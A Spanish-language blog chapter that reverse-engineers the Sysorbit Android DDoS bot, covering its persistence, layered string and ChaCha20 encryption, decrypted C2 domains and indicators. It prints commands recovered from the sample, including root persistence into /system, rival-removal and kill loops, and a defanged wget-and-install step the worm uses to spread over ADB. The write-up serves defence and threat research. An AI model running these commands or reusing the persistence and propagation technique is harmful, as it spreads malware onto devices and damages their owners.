ES EN
Índice

Sysorbit · Capítulo 8

Sysorbit al desnudo: tres capas para esconder una dirección

Abrimos el APK capa a capa: un DEX que solo es un lanzador, una app que se clava en /system si hay root, y un motor de DDoS en código nativo. El C2 me dio con la puerta en las narices — hasta que volví por otro camino y salió entero.

En el Capítulo 7 cacé a Sysorbit entrando por ADB. Ahora toca abrir el APK y encontrar su C2. Lo que se busca es de qué es capaz y a dónde llama, para poder detectarlo y cortarlo.

Un APK es un ZIP con tres capas: recursos, código Java (classes.dex) y librerías nativas (.so). Vamos de fuera adentro.

Antes de empezar, una confesiónEste capítulo lo publiqué una vez y terminaba mal: llegaba hasta una puerta cerrada, admitía que no sabía abrirla, y se despedía. Veinticuatro horas después volví con otras herramientas y la puerta cedió. He reescrito la entrada entera, pero no he borrado la derrota: sigue aquí, con los dos caminos equivocados que tomé y las dos cosas que había contado mal. La parte en la que acierto es la menos interesante de las dos.

01Un APK que casi no tiene Java

Primera sorpresa al listar el ZIP: el classes.dex (el código Java) pesa 13 KB — ridículo. Y en cambio hay cuatro librerías nativas libmedia_format.so, una por arquitectura, de unos 150 KB cada una. La lógica de verdad no está en Java: está en el código nativo. El Java es solo un cascarón.

El nombre de la librería ya es una mentira: libmedia_format suena a códec de vídeo. Dentro no hay un solo byte de multimedia.

02El Java: un lanzador con malas ideas

Decompilé el DEX con jadx. La app se disfraza y hace de lanzador y niñera del binario nativo. Cada minuto, un hilo ejecuta esta lógica:

  • Comprueba si el bot ya vive: hace PING a un socket local abstracto sysorbit_watchdog y espera PONG.
  • Mata instancias viejas o rivales por nombres disfrazados: [system_server], sys_health_check, sys_core, sys_update_helper.
  • Comprueba root (su -c iduid=0).

Y aquí está lo feo: si el teléfono tiene root, se clava en el sistema disfrazado de binario de mantenimiento.

com.sysorbit.a.b · persistencia con root
mount -o remount,rw /system
cp libmedia_format.so /system/bin/sys_health_check   # se hace pasar por binario del sistema
chmod 755 /system/bin/sys_health_check
chown root:root /system/bin/sys_health_check
cp libmedia_format.so /data/local/tmp/sys_update_helper
/system/bin/sys_health_check &                        # y lo arranca

Sin root, se conforma con ejecutar la .so desde el directorio de la app. Con root, se hace parte del sistema operativo. Y todo mientras la interfaz muestra una notificación falsa de «Google Play Service Updates — Checking for updates…».

Persistencia por triplicadoNo se fía de un solo truco: un receptor de arranque (BOOT_COMPLETED), un watchdog, y —el más sutil— un SyncAdapter con cuenta falsa (AuthenticatorService + SyncService), que hace que Android lo despierte periódicamente «para sincronizar». También declara un servicio de Accesibilidad, la llave maestra de Android (leer pantalla, autoclic, autoconcederse permisos).

03El motor nativo: una cañonera de DDoS

La .so venía empaquetada con UPX (como RedTail). Desempaquetada (155 KB → 515 KB) y abierta con Ghidra, canta lo que hace:

strings del nativo (desempaquetado)
# motor de flood
Flood ID '%d' starting in thread (duration %d seconds)
GET %s HTTP/1.1        PRI * HTTP/2.0        Host: %s
# watchdog + registro
sysorbit_watchdog      sysorbit_native_lock

Es un bot de denegación de servicio: lanza floods por identificador, en hilos, con duración — incluidos HTTP/1.1 y HTTP/2 (ese PRI * HTTP/2.0) y un flood de conexiones TCP que abre 128 sockets de golpe contra el objetivo.

Aquí encontré también una cadena que me llamó la atención y que interpreté mal — luego vuelvo sobre ella:

la cadena que me despistó
token=df96af03-c2fc-4c29-919a-2605aa70b1f8&guid=76561198804806015

Ese guid tiene formato de SteamID64, el identificador de una cuenta de Steam. Un rastro rarísimo en un bot de Android.

04A la caza del C2 — y la pared

Con Ghidra seguí el hilo del cliente del C2. Lo que encontré:

  • El cliente conecta a una IP y un puerto que saca de una estructura de configuración, y habla por HTTP.
  • Tiene un resolutor propio con servidores DNS de reserva embebidos (8.8.8.8, 1.1.1.1) para resolverse aunque el DNS del aparato falle.
  • Pero el host del C2 no está en texto claro en ninguna capa — ni en el APK, ni en el DEX, ni en el nativo. Cuando el cliente lo usa, ya es una IP binaria descifrada en memoria.
Y hasta aquí lleguéSysorbit cifra el host de su C2 y lo descifra al arrancar. La estructura del código está clara — cómo se conecta, se registra y ataca —, pero el a dónde se lo guarda cifrado. Igual que RedTail (Cap. 6): la dirección va cifrada y no sale por estático.

Ahí cerré el capítulo la primera vez. Escribí que sacar esa dirección exigiría una de dos cosas: revertir su rutina de descifrado, o ejecutar el bicho en un Android aislado y mirar a dónde llama. Lo segundo no lo hago —es un bot vivo y encenderlo es trabajar para el atacante—, así que di el asunto por cerrado y me fui a dormir.

Y lo di por cerrado mal. Porque la primera opción, revertir la rutina, nunca estuvo fuera de mi alcance: yo simplemente no había sabido encontrarla. Una cosa es que una puerta esté cerrada y otra que no tengas la llave. Yo confundí las dos.

Al día siguiente seguía dándole vueltas. Así que volví.

05Volviendo sobre mis pasos

Volví con un cambio de método, y creo que es lo más útil de todo el capítulo: entrar por los datos en vez de por el código.

La primera vez hice lo natural: elegí una función que parecía la del C2 y fui tirando de sus llamadas hacia fuera, a ver qué encontraba. El problema es que esta librería lleva libc++ enlazada estáticamente, así que «hacia fuera» son cientos de funciones de fontanería del lenguaje. Mi volcado acababa siempre en malloc y thread::join. Buscaba una aguja explorando el pajar entero.

Al revés funciona mejor: si el host se descifra en memoria, los bytes cifrados tienen que estar en el fichero, y alguien tiene que leerlos. Así que en vez de preguntar «¿qué llama esta función?», se pregunta «¿quién toca estos bytes?». En vez de explorar, anclas. Es exactamente lo que hice en el Capítulo 2 sin darme cuenta de que era un método: allí la clave apareció porque vi una cadena repetida y pregunté quién la referenciaba.

A

Primer callejón: persiguiendo fantasmas

Empecé por lo que parecía obvio. Un dato cifrado tiene una firma: sus bytes parecen aleatorios, sin la estructura que tiene el texto normal. Se llama entropía alta, y se puede barrer un fichero entero buscándola. Lo hice, y salieron siete zonas sospechosas. Siete candidatos a esconder la dirección.

Los fui abriendo uno a uno, y uno a uno se fueron cayendo. Los dos más gordos resultaron ser vergonzosamente inocentes: el primero era una lista de números primos —127, 131, 137, 139…— que el propio lenguaje C++ usa por dentro para organizar sus tablas. El segundo eran las constantes de SHA-256, un número mágico que aparece en cualquier programa que haga criptografía.

Ninguno era del malware. Eran los muebles de la casa, no lo que el ladrón había escondido. Media mañana persiguiendo fantasmas.

B

Segundo callejón: la trampa cómoda

Cambié de táctica. Si el bot llama a su central, en algún sitio tiene que abrir una conexión — así que fui a buscar las funciones que abren conexiones y a caminar hacia atrás desde ahí. Y di con una que resolvía un nombre de dominio y conectaba. Encajaba tan bien que no la cuestioné: «aquí está, este es el cliente del C2».

No lo era. Cuando por fin la leí entera, con calma, resultó ser el motor de ataque: el flood de HTTP. Ese nombre de dominio que resolvía tan diligentemente no era el de su casa. Era el de la víctima a la que iba a atacar.

Me había pasado media jornada estudiando el arma en vez del teléfono.

Y al verlo entero me di cuenta de que en la primera versión de este capítulo había dicho dos cosas mal:

  • Señalé una función como lanzadora del hilo del C2. No lo es: es el motor del flood HTTP, con seis User-Agent de Mozilla que va rotando —nueve en total en el binario, repartidos entre tres funciones, y uno de ellos de iPhone—, soporte de Cookie y Referer, y un búfer de 200 KB en pila para machacar peticiones.
  • Presenté el token=…&guid=… como el registro del bot contra su C2. Tampoco: es el cuerpo de un POST que usa uno de los métodos de ataque. El SteamID no identifica al bot, viaja dentro de una petición de inundación.

Y si te preguntas qué hace un identificador de Steam dentro de un bot de Android, la respuesta es que el bot está atacando a un servidor de videojuegos, y para que su petición cuele copia el cuerpo de una legítima —SteamID incluido—. Es camuflaje: mil peticiones calcadas a las que haría un jugador de verdad.

Ese número, además, resuelve a una cuenta pública que existe: alias SponneR, comentarios en turco y ruso, un grupo dedicado a las trampas en CS:GO. Y aquí me paro, porque conviene decirlo claro: es una pista, no una acusación. Copiar un SteamID ajeno cuesta cero, y lo más probable es que sea la cuenta de alguien a quien atacaron y cuya petición quedó pegada en la plantilla. Pero encaja con lo otro que ya vimos —el certificado que finge ser una empresa española y escribe «Cataluna» sin eñe—: quien montó esto no habla español.

Por qué lo cuento en vez de borrarloPodría haber corregido las dos frases sin decir nada y nadie se habría enterado. Pero el error explica por qué me estrellé: si crees que ya tienes localizado el cliente del C2, dejas de buscarlo. Equivocarse de función te cuesta el capítulo entero.
C

Empezar por donde empieza todo

Dos caminos, dos fracasos. Cuando te pasa eso, la lección de siempre es que estabas siendo demasiado listo. Así que hice lo más tonto que se puede hacer con un programa: empezar por el principio y leerlo en orden, como si fuera un libro.

Porque esta .so no es solo una librería que otros usan: también arranca sola —el Capítulo 7 la vio instalarse como /system/bin/sys_health_check—, y eso significa que tiene un punto de entrada, un primer renglón. Nunca lo había mirado.

Y las primeras cuatro cosas que hace ya pagan el viaje:

main · lo primero de todo
// 1) se cambia el nombre del proceso
prctl(PR_SET_NAME, "[system_server]");
// 2) sobrescribe su propio argv[0] con el mismo nombre falso
memset(argv[0], 0, len); strncpy(argv[0], "[system_server]", ...);
// 3) se blinda contra el asesino por falta de memoria
write(open("/proc/self/oom_score_adj"), "-1000");
// 4) ignora diez señales: SIGTERM, SIGINT, SIGHUP, SIGPIPE, SIGALRM...

Lo de [system_server] tiene más malicia de la que parece. En Linux, cuando listas los procesos, los que salen entre corchetes son hilos internos del núcleo del sistema — cosas que no se tocan. El bicho se pone corchetes en el nombre para que quien mire la lista deslice la vista por encima y siga buscando. Es camuflaje tipográfico.

Y el -1000 es todavía más descarado. Android, cuando se queda sin memoria, va matando aplicaciones por orden de prescindibilidad. Ese número es la nota que decide a quién sacrifica primero, y -1000 es el mínimo posible: significa «mata a quien quieras, pero a mí el último». El bot se declara a sí mismo más importante que cualquier cosa que tengas abierta en el teléfono.

Después coge un nombre que va montando letra a letra —sysorbit_native_lock— y lo reserva. Si ya estaba cogido, se va sin decir nada: es su forma de comprobar que no hay otra copia de sí mismo corriendo. Y entonces lanza dos hilos y se queda esperando.

El primero resultó ser el vigilante: se sienta a escuchar, y cuando le llegan cuatro bytes que dicen PING, contesta PONG. Es el que le confirma a la parte Java que sigue vivo. Nada nuevo.

El segundo hilo no me lo esperaba en absoluto.

06Capa 1: cadenas montadas carácter a carácter

El segundo hilo no ataca a nadie. Lo que hace es ejecutar órdenes de shell — órdenes de verdad, del sistema — una detrás de otra, en bucle, para siempre. Pero las órdenes no estaban escritas en ninguna parte que yo pudiera leer. Antes de ejecutar cada una, la fabricaba.

Y ahí, por fin, estaba el hilo del que tirar. Porque si el bicho fabrica sus órdenes en vez de llevarlas escritas, esa fábrica tiene que estar en el binario. Y si tiene una fábrica de cadenas ocultas para esto, es la misma que usará para esconder la dirección de su casa.

La fábrica resultó ser una función corta y fea. No cifra la cadena entera de una vez, como haría cualquiera: la cifra letra por letra, y cada letra con su propia clave y su propia receta.

ghidra · el descifrador, decompilado
uint descifra(uint c, uint clave, char variante)
{
    // rota el byte 2 bits a la izquierda...
    rot = c >> 6 & 3 | c << 2;
    r   = rot ^ clave ^ 5;                      // variante 0
    if (variante == 1) r = (rot - clave) - 5;   // variante 1
    // ...o 2 bits a la derecha
    r2  = (c >> 2 & 0x3f | c << 6) ^ clave ^ 5; // variante 2
    return (variante == 2) ? r2 : r;
}
Ghidra mostrando la función de descifrado de Sysorbit: a la izquierda el ensamblador ARM64, a la derecha el código C reconstruido
La rutina, en Ghidra. A la izquierda el ensamblador ARM64 tal cual está en el binario; a la derecha, el mismo código traducido a C por el decompilador — que es lo que hace legible una cosa como ubfx w8,w0,#0x6,#0x2. Arriba, las XREF[20]: veinte sitios distintos del programa llaman a esta función. Ahí fue donde supe que no era un detalle suelto, sino la fábrica de cadenas de todo el bicho.

Tres recetas distintas, y cada carácter usa una. Pero lo bueno es de dónde salen la clave y la receta: de dos generadores de números pseudoaleatorios que corren en paralelo, sembrados con constantes propias de cada cadena.

el generador (Lehmer)
x = (x * 0x10A860C1) % 0xFFFFFFFB   # un generador por cada cosa:
clave    = (prng_clave  ^ semilla) & 0xFF
variante = (prng_receta) % 3
Por qué esto derrota a stringsUn XOR de clave fija deja patrones: bytes que se repiten, longitudes que cantan. Aquí cada carácter se cifra distinto del anterior, así que la cadena cifrada no tiene ninguna estructura visible. El precio que paga el autor es que las semillas están en el código, a la vista. Es un cifrado que engaña al que mira por encima y se rinde ante quien lee la rutina.

Repliqué el algoritmo en unas pocas líneas y lo apunté contra la primera cadena cifrada que tenía a mano. Cinco bytes, que hasta ese momento eran 4a b3 e0 1a 68 y no significaban nada.

el momento
4a b3 e0 1a 68   ->   c l o s e

close. Una palabra corriente y moliente, de cinco letras, que no le importa a nadie. Pero era una palabra de verdad, en inglés, con sentido — y eso no sale por casualidad. Con cinco letras correctas ya sabía que tenía el algoritmo entero.

Lo lancé contra todo el binario y cayeron 44 cadenas que llevaban ahí desde el principio, invisibles. Entre ellas, una que me hizo enderezarme en la silla:

cadenas recuperadas (selección)
# la que importa
ORBIT_BOT_AUTHVXJUACFHAVBA          # token de autenticación contra el C2

# nombres de funciones del sistema (ver recuadro)
socket  connect  send  recv  bind  listen  accept  select  close  signal

# la guerra contra la competencia, en bucle
pm uninstall %s >/dev/null 2>&1
com.manji.bot   com.iranbot.load   com.oreo.mcflurry
com.android.log_handler_v2   com.google.android.pms.update
find /data/local/tmp -name '*.so' -delete
grep -l 'libyahu.so' /proc/*/maps | cut -d'/' -f3 | xargs kill -9

# propagación por ADB, dentro del propio binario
busybox wget hxxp://…/sysorbit.apk -O /data/local/tmp/x.apk
pm install -r -g /data/local/tmp/x.apk
su -c '        adb_v2
También esconde a quién le pide favoresFíjate en esos socket, connect, bind… son nombres de funciones del sistema. Normalmente un programa los declara abiertamente y cualquiera puede ver qué usa. Sysorbit no: descifra el nombre, le calcula un hash y busca la función por ese hash. Resultado: al abrir el binario no se ve que use la red. Y por si fuera poco, envuelve las llamadas en una máquina de estados con constantes de broma —0xbadc0de, 0xc0ffee, 0xf00d— para enredar la lectura. Es la razón por la que mi primer intento de clasificar sus ataques no encontró nada.

07Capas 2 y 3: una clave que no existe

Con el ORBIT_BOT_AUTH en la mano ya tenía por dónde tirar: busqué quién lo usaba, y esa función era el cliente del C2. Dentro estaba el puerto, escondido a plena vista:

el puerto, disfrazado de número suelto
DAT_00185350 = 0x35280002;

# en memoria son los bytes: 02 00 28 35
#   02 00  -> AF_INET (es una dirección de red)
#   28 35  -> puerto 0x2835 = 10293

Faltaba el destino. Y el destino salía de una lista que alguien construía al arrancar el programa. Fui a ver quién, esperando encontrar por fin los dominios escritos en algún rincón.

No estaban. Lo que había era la última capa, y la mejor de las tres.

Los dominios van cifrados con ChaCha20 — esto ya es criptografía seria, moderna, de la que usa tu navegador; nada que ver con los XOR caseros de XorDDoS o Mirai en capítulos anteriores. Pero lo verdaderamente elegante no es el algoritmo. Es dónde guarda la clave para abrirlo.

No la guarda en ninguna parte.

la clave se fabrica al arrancar
# dos bloques de bytes que por separado parecen basura
clave[ 0: 8] = datos[0x111c84] XOR datos[0x10e710]
clave[ 8:16] = datos[0x111c8c] XOR datos[0x10e718]
clave[16:24] = datos[0x111c94] XOR datos[0x10e640]
clave[24:32] = datos[0x111c9c] XOR datos[0x10e648]
La llave partida en dosAhora se entiende por qué mi primera búsqueda fracasó. Yo barrí el fichero buscando algo que pareciera una clave, y no había nada, y me lo creí. Pero es que la clave no existe hasta que el programa arranca: son dos trozos de datos sosos, en dos rincones distintos del fichero, que por separado no son nada y que solo significan algo cuando se juntan. Como esas llaves de película que hay que unir para abrir la caja fuerte: ninguna mitad abre nada, y ninguna mitad parece una llave.

La lección, y me la apunto: «no encuentro nada que parezca cifrado» no es lo mismo que «no hay nada cifrado». Solo quiere decir que estás buscando la forma equivocada.

Y no es lo único que se monta al vuelo. El nonce —el número que ChaCha20 necesita para que la misma clave no produzca dos veces el mismo flujo— tampoco está en el fichero: lo escribe el propio código en memoria al arrancar. Por eso tampoco aparecía buscando. Es el mismo truco de la llave partida, aplicado otra vez.

lo que faltaba para reproducirlo
# el nonce, escrito en memoria al arrancar (12 bytes)
1e 00 4a 00 00 00 00 00 00 00 00 00
contador = 1

# y dónde están los cuatro bloques cifrados
0x10f0fa   28 B
0x10fc6a   28 B
0x10f95d   21 B
0x10eaf7   16 B

Con eso y la clave de arriba, cualquiera reproduce el descifrado entero. Lo publico a propósito: sacar los servidores de mando de una muestra es defensa, no le da a nadie una capacidad contra terceros — y en el Capítulo 6 me quejé precisamente de que para RedTail no existiera nada parecido.

Antes de cerrar la sección, una cosa más sobre la pila criptográfica: además de ChaCha20 y SHA-256, el binario implementa HMAC — están las constantes 0x36 y 0x5c y el bloque de 64 bytes, que son de manual. No solo cifra: autentica. Probablemente para validar lo que le llega del C2.

Y ahora la parte divertida, porque con las cuatro direcciones delante se ve algo que no se veía antes.

Las cuatro llamadas usan la misma clave, el mismo nonce y el mismo contador. Un único bloque de flujo cifra los cuatro dominios. Eso tiene nombre desde hace décadas y es de los errores que no se perdonan: reutilizar el flujo de clave.

Lo bonito es que se demuestra sin romper nada. Coges los dos bloques de 28 bytes tal como salen del binario, los haces XOR entre sí, y la clave se cancela sola:

XOR de los dos cifrados de 28 bytes
1a 02 06 08 00 06 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                        └─ los últimos veinte bytes son idénticos

Sin conocer la clave, sin descifrar una letra, esa cola de ceros ya te dice que los dos dominios terminan igual en sus últimos veinte caracteres — que es exactamente .twilightparadox.com. (El cero número veintiuno es casualidad: los dos nombres acaban su primera etiqueta en la misma letra.)

Eligieron bien el algoritmo y lo usaron malChaCha20 no tiene la culpa de nada: es tan bueno como dije. Pero un cifrado de flujo se sostiene sobre una regla — el mismo flujo no cifra dos cosas — y aquí la rompieron cuatro veces seguidas. Todo el trabajo de la clave partida en dos mitades, y del nonce que se fabrica en memoria, para que luego el propio fichero te cuente a gritos qué comparten sus dominios.

08El C2 al desnudo

Junté las dos mitades, monté la clave, y apliqué el descifrado a los cuatro bloques de datos que el programa iba a usar como destinos. Este es el momento en que sabes si has acertado o has perdido el día: si el algoritmo no es exacto, lo que sale es basura ilegible. Si lo es, sale texto.

Salió texto. Los cuatro, limpios, a la primera:

los cuatro destinos, descifrados
orbitcnc.twilightparadox.com      # orbit + cnc (command and control)
updatemc.twilightparadox.com
udpatetbl.duckdns.org             # sí, "udpate": una errata del autor
coxm.duckdns.org

puerto 10293/TCP

Los cuatro están sobre servicios de DNS dinámico gratuito (FreeDNS y Duck DNS): subdominios que se registran en dos minutos, sin pagar y sin dar datos. Es el alojamiento de usar y tirar del malware de gama media.

Y entonces los resolví — solo consulta de DNS, sin tocar la máquina:

DominioEstado
orbitcnc.twilightparadox.comVIVO → 176.65.139.248
updatemc.twilightparadox.comVIVO → 176.65.139.248
udpatetbl.duckdns.orgno resuelve (reserva dormida)
coxm.duckdns.orgno resuelve (reserva dormida)

Y al ver esa IP me quedé un rato mirándola, porque me sonaba.

El chiste final176.65.139.248 es exactamente la máquina desde la que se descargó el APK en el Capítulo 7. La tenía apuntada en la tabla de indicadores desde el primer día.

El servidor que reparte el bicho y el centro de mando que le da las órdenes son la misma máquina. Tres capas de cifrado, un algoritmo de grado militar, una clave partida en dos mitades escondidas en rincones distintos del fichero… para esconder una dirección que ya estaba escrita en mis notas.

No sé si el autor no cayó, o si le dio igual. Pero hay algo honesto en descubrir que el gran secreto que te ha costado dos días era un dato que tenías delante y no supiste relacionar.

Los dos dominios dormidos son la reserva. Es el mismo patrón que vimos en el Capítulo 2 con XorDDoS: si a alguien le da por tumbar el que está en uso, se enciende otro y los bots ni se enteran. Cuestan cero euros y se registran en dos minutos, así que no hay razón para no tener repuestos.

09Lo que salió de propina

Al tener las cadenas descifradas, cayeron solas unas cuantas cosas que no buscaba.

A

No es solo un bot: es un gusano

La orden de infección del Capítulo 7 —la que entra por ADB, desinstala rivales y se instala— va dentro del binario nativo. Es decir: cada teléfono infectado reproduce esa misma orden contra otros, por su cuenta, sin que nadie se lo mande. No hace falta que el C2 lo ordene; el bot se propaga solo. Y el vector se etiqueta adb_v2.

Detalle curioso: la lista de rivales que desinstala el binario no es idéntica a la de la orden que llegó por ADB. La interna incluye dos paquetes que la de entrada no menciona. Alguien la actualizó en un sitio y se olvidó del otro.

B

El C2 solo puede mandar atacar

Revisé los 35 métodos que el bot registra y que el C2 puede invocar, buscando si alguno hacía algo que no fuera red: ejecutar comandos, escribir en disco, propagarse. Ninguno. Son todos de ataque.

Esto define bien lo que es Sysorbit: no es una puerta trasera. El operador no puede pedirle al teléfono que abra una shell ni que robe datos — solo que ataque a alguien. Pero el aparato seguirá infectando a otros aunque el C2 desaparezca, porque esa parte no depende de él.

Comprobar la herramienta antes de fiarse del resultadoUn «no he encontrado nada» solo vale si antes demuestras que tu método encuentra algo. Así que probé el mismo barrido contra el hilo de persistencia y contra el main, que sé que ejecutan comandos. Saltó en los dos y señaló exactamente lo que tenía que señalar. Entonces —y solo entonces— me creí el negativo.
Corrección de septiembre: son 35, no 34Conté 34 porque conté asignaciones, y el identificador 0 no se escribe nunca: la reserva de memoria ya deja ese byte a cero, así que no hay ninguna instrucción que ponerle. Es el mismo modo de fallo que me pasó en el Capítulo 4 — se pierde la entrada que no se parece a las demás.

Solo cambia el número. Los 35 identificadores se reparten 26 funciones —una sola atiende ocho—, y el 0 comparte función con el 1, que sí entró en el barrido. El conteo se quedó corto; la cobertura no.
C

Una empresa española que no existe

Todo APK va firmado con un certificado. El de Sysorbit dice esto:

certificado de firma del APK
CN = Carlos Mendoza 
O  =  Digitales S.L.
OU = Desarrollo Mobile · L = Barcelona · ST = Cataluna · C = ES

Emitido : 29 de julio de 2026       Válido hasta : 2053
SHA-256 : 01:B9:F7:13:02:D0:B1:39:3B:B3:EC:FA:B8:1E:9B:B9:
          6F:C6:58:33:0A:18:15:EE:C9:32:C0:D9:F2:E8:5C:E9

Una empresa de desarrollo de Barcelona, con su departamento y todo. Inventada. Y la fachada se le cae en dos detalles pequeños: escribe Cataluna sin la eñe, y llama al departamento «Desarrollo Mobile», mezclando español e inglés. Eso no lo escribe alguien que hable español; lo escribe alguien que copia el aspecto de una empresa española sin serlo. Encaja con el resto de rastros del bicho, que apuntan a otra parte.

Por qué he tapado el nombreEl certificado es falso, pero reutiliza el nombre de empresas que sí existen — hay varias con esa marca, una de ellas prestando servicios informáticos en Barcelona, la misma ciudad del certificado. Publicarlo entero asociaría a un negocio inocente con esto en cuanto Google lo indexara, y un descargo de responsabilidad no deshace eso. Lo que sirve como indicador de verdad es la huella, que identifica al firmante sin poder difamar a nadie: si el mismo actor firma otra campaña, la huella las une. El nombre no aportaba nada que la huella no aporte mejor.

La fecha sí es un dato limpio y útil: el certificado se emitió el 29 de julio, y el bicho cayó en el cebo el 23 de agosto. Veinticinco días. Campaña recién horneada.

D

Una sola cocina

El APK trae cuatro librerías, una por arquitectura. Desempaqueté las cuatro y comparé: los dominios cifrados y el material de la clave son idénticos byte a byte en todas. Salen de una única compilación, como pasaba con los doce binarios de Mirai en el Capítulo 4.

10Indicadores (IOCs)

TipoValor
C2 (activos)orbitcnc.twilightparadox.com · updatemc.twilightparadox.com → 176.65.139.248
C2 (reserva)udpatetbl.duckdns.org · coxm.duckdns.org
Puerto C210293/TCP
Token de autenticaciónORBIT_BOT_AUTHVXJUACFHAVBA
Cifrado de cadenaspor carácter · rot2 + XOR/resta · claves de PRNG Lehmer (0x10A860C1 mod 0xFFFFFFFB)
Cifrado del C2ChaCha20 · contador 1 · clave = XOR de dos bloques de .rodata · nonce 1e004a00 + ceros (escrito en memoria al arrancar)
Bloques cifrados0x10f0fa (28 B) · 0x10fc6a (28 B) · 0x10f95d (21 B) · 0x10eaf7 (16 B) — con la clave y el nonce, el descifrado es reproducible
Huella del certificadoSHA-256 01:B9:F7:13:02:D0:B1:39:3B:B3:EC:FA:B8:1E:9B:B9:6F:C6:58:33:0A:18:15:EE:C9:32:C0:D9:F2:E8:5C:E9
Etiqueta de logcatSystemCore — el bot registra ahí su propia actividad
Nombre de proceso[system_server] · oom_score_adj = -1000
Sockets abstractossysorbit_watchdog · sysorbit_native_lock
Vector de propagaciónadb_v2 (ADB/5555, autopropagado)
SHA-256 APK31de5c5d0a3483e831e4f9348d46b3c5309177a7f9d6da537fc970f57f103901
El regalo para quien tenga que buscarloDe todo lo de arriba, lo más útil en la práctica es la etiqueta de logcat. Sysorbit escribe sus propios mensajes en el registro de Android bajo el nombre SystemCore, que suena a componente del sistema. En un aparato sospechoso, un logcat -s SystemCore lo pone al descubierto con sus propias palabras: «Received attack payload of %d bytes». Se disfraza para los ojos, pero deja el diario abierto.
Estado a 11 de septiembre de 2026Los cuatro dominios —las dos reservas incluidas— ya no resuelven, y 176.65.139.248 ha desaparecido de Shodan. Vida medida de la campaña: unas tres semanas. Para hacerse una idea de la escala: el Mirai del Capítulo 4 duró más o menos lo mismo, y el RedTail de los capítulos 5 y 6 seguía vivo a las cinco semanas largas.

Y un apunte sobre el nombre, que es lo que más cuesta cuando alguien busca información: la industria no da esta familia. VirusTotal la marca 21 de 61, pero con la etiqueta genérica trojan.boogr; ningún motor dice «sysorbit», y MalwareBazaar no lo tiene. El nombre sale del propio binario — sysorbit_watchdog, ORBIT_BOT_AUTH, com.sysorbit.*. Es el caso contrario al del Capítulo 1, donde veintidós motores lo habrían resuelto de entrada: aquí la etiqueta no la pone nadie, la pone el bicho.

Continuará — el cebo sigue encendido, ahora también en el 5555. Cuando caiga algo nuevo, habrá noveno capítulo. 🍯

Comentarios